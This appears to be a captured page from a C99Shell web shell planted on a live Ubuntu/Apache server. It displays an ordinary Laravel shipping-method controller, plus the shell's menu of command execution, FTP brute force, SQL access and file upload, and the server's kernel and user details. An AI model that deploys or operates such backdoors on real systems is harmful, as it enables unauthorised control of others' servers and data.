!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/app/Http/Controllers/Seller/   drwxr-xr-x
Free 13.21 GB of 57.97 GB (22.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ShippingController.php (3.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Seller;

use 
App\Http\Controllers\Controller;
use 
Illuminate\Http\Request;
use 
App\Category;
use 
App\Categoryrelation;
use 
Auth;
class 
ShippingController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index()
    {
        
$posts=Category::where('type','method')->where('user_id',Auth::id())->paginate(20);
         return 
view('seller.shipping.method.index',compact('posts'));
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create()
    {
        return 
view('seller.shipping.method.create');
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {
       
$validatedData $request->validate([
        
'title' => 'required|max:50',
        
'price' => 'required|max:50',
        
'locations' => 'required',
       
       ]);

       
$post = new Category;
       
$post->name=$request->title;
       
$post->user_id =Auth::id();
       
$post->slug=$request->price;
       
$post->type="method";
       
$post->save();

       
$arr=[];
       foreach (
$request->locations as $key => $row) {
           
$data['category_id']=$post->id;
           
$data['relation_id']=$row;
           
array_push($arr$data);
       }
       
Categoryrelation::insert($arr);

       return 
response()->json(['Method Created Successfully']);

    }

    public function 
show($id)
    {
       
$info=Category::where('user_id',Auth::id())->with('child_relation')->findorFail($id);
       return 
response()->json($info->child_relation);
    }

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function edit($id)
    {
      
      
$info=Category::where('user_id',Auth::id())->with('parent_relation')->findorFail($id);
      
$data=[];

      foreach (
$info->parent_relation as $key => $row) {
          
array_push($data$row->relation_id);
      }

      return 
view('seller.shipping.method.edit',compact('info','data'));
     }  

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $request$id)
    {
       
$validatedData $request->validate([
        
'title' => 'required|max:50',
        
'price' => 'required|max:50',
        
'locations' => 'required',
       
       ]);

       
$post Category::where('user_id',Auth::id())->findorFail($id);
       
$post->name=$request->title;
       
$post->slug=$request->price;
       
$post->save();

       
$arr=[];
       foreach (
$request->locations as $key => $row) {
           
$data['category_id']=$post->id;
           
$data['relation_id']=$row;
           
array_push($arr$data);
       }
       
Categoryrelation::where('category_id',$id)->delete();
       
Categoryrelation::insert($arr);

       return 
response()->json(['Method Updated Successfully']);
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function destroy(Request $request)
    {
         
$auth_id=Auth::id();
        if (
$request->method=='delete') {
           foreach (
$request->ids as $key => $id) {
               
$post Category::where('user_id',$auth_id)->findorFail($id);
               
$post->delete();
           }
        }

        return 
response()->json(['Shipping Method Deleted']);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--